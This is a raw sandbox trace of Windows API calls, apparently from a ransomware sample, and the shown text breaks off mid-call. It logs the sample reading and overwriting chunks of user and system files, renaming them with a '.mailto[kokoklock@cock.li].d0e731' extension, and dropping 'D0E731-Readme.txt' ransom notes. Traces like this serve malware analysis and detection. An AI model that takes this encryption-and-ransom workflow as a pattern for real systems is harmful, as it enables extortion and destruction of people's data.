returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" [0079.997] wcscat (in: _Dest=0x348a338, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" [0079.997] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\zdwwenfqiuihll0zg-mz.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.056] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0080.057] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\zDWwEnfQiUihLl0zG-MZ.rtf", dwFileAttributes=0x20) returned 0 [0080.057] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb8b0 [0080.057] wcscpy (in: _Dest=0x33eb8b0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0080.057] wcscat (in: _Dest=0x33eb8b0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0080.057] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0080.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb8b0) returned 1 [0080.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6918) returned 1 [0080.057] RtlExitUserThread (Status=0x1) Thread: id = 994 os_tid = 0x168c [0080.017] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm")) returned 0x20 [0080.018] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", dwFileAttributes=0x20) returned 1 [0080.018] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.018] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x23e3fdd4 | out: lpFileSize=0x23e3fdd4*=110445) returned 1 [0080.018] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1af69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.018] ReadFile (in: hFile=0x450, lpBuffer=0x23e3fda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x23e3fda8*, lpNumberOfBytesRead=0x23e3fda4*=0x4, lpOverlapped=0x0) returned 1 [0080.020] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0080.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d58 [0080.020] NtQuerySystemTime (in: CurrentTime=0x23e3fd80 | out: CurrentTime=0x23e3fd80*=132121176379207242) returned 0x0 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x3ce2a473 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x647ec5ca [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xac129702 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xe65a7d30 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xce91ff86 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x51240a11 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x2cc2f43f [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x68bf74d8 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x13886d11 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x98b2e141 [0080.020] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x8ec370c2 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x9a4c49b7 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x27281778 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xcc804395 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x78aaaadc [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xf0bc3255 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xa67663b9 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xd6be0602 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x7b7a1efe [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x6875bb9e [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x378fd3d [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xd133c9ce [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xc000efc0 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xd4aff243 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x783af355 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xa96eb080 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xea86e2c3 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x687348c [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x32962e6c [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0xbcc8c4c [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x35258915 [0080.021] RtlRandom (in: Seed=0x23e3fd8c | out: Seed=0x23e3fd8c) returned 0x45f932fc [0080.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0080.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.032] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.032] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23e3fd58, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23e3fd58*=0x4096, lpOverlapped=0x0) returned 1 [0080.033] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0080.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0080.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0080.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0080.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.034] WriteFile (in: hFile=0x450, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23e3fd58, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23e3fd58*=0x4096, lpOverlapped=0x0) returned 1 [0080.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.049] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1af6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23e3fd90, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23e3fd90*=0x20, lpOverlapped=0x0) returned 1 [0080.050] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0080.050] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x3491d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x3491d80*, lpNumberOfBytesWritten=0x23e3fda4*=0x8, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x23e3fdbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x23e3fdbc*, lpNumberOfBytesWritten=0x23e3fda4*=0x4, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23e3fda4*=0x4, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23e3fda4*=0x6c, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23e3fda4*=0x20, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23e3fda4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23e3fda4*=0x4, lpOverlapped=0x0) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491d80) returned 1 [0080.051] CloseHandle (hObject=0x450) returned 1 [0080.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.051] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" [0080.051] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" [0080.051] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.052] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.053] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", dwFileAttributes=0x20) returned 0 [0080.053] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.053] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.053] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.053] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0xffffffff [0080.053] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.053] WriteFile (in: hFile=0x450, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x23e3fda0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x23e3fda0*=0x481, lpOverlapped=0x0) returned 1 [0080.055] CloseHandle (hObject=0x450) returned 1 [0080.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0080.055] RtlExitUserThread (Status=0x1) Thread: id = 995 os_tid = 0x1690 [0080.058] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm")) returned 0x20 [0080.058] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", dwFileAttributes=0x20) returned 1 [0080.059] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.059] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23ebfd28 | out: lpFileSize=0x23ebfd28*=253453) returned 1 [0080.059] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x3de09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.059] ReadFile (in: hFile=0x448, lpBuffer=0x23ebfcfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x23ebfcfc*, lpNumberOfBytesRead=0x23ebfcf8*=0x4, lpOverlapped=0x0) returned 1 [0080.061] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0080.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491d80 [0080.061] NtQuerySystemTime (in: CurrentTime=0x23ebfcd4 | out: CurrentTime=0x23ebfcd4*=132121176379530738) returned 0x0 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x9e45c0da [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x7c56341d [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xdc732020 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x5f6cb016 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xdf9b4018 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x7e2f159c [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x8b4e3506 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xcbc8d3b6 [0080.061] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x4592aed [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xe7ac97b3 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x1f08ecd9 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x39d36aac [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x4908f15b [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xd49642b2 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x25c2734d [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xd4b73861 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x6c81bcf7 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x165691c3 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xc1a00b6d [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xd09dc4d [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xdfc396fd [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xbc547286 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x5a853dbd [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x1087045f [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xddf25d00 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x13b6214c [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x71076286 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x85b41d76 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x847b01cc [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xf3c309a3 [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0x206e71cf [0080.062] RtlRandom (in: Seed=0x23ebfce0 | out: Seed=0x23ebfce0) returned 0xbb4e4e3e [0080.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492000) returned 1 [0080.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.074] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.074] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.075] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0080.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0080.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492000 [0080.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0080.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0080.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.076] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.076] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.076] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.077] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491dd0 [0080.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491dd0) returned 1 [0080.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491dd0 [0080.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0080.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0080.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.078] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.078] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x39d77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.078] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.079] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x39d77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0080.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e98) returned 1 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 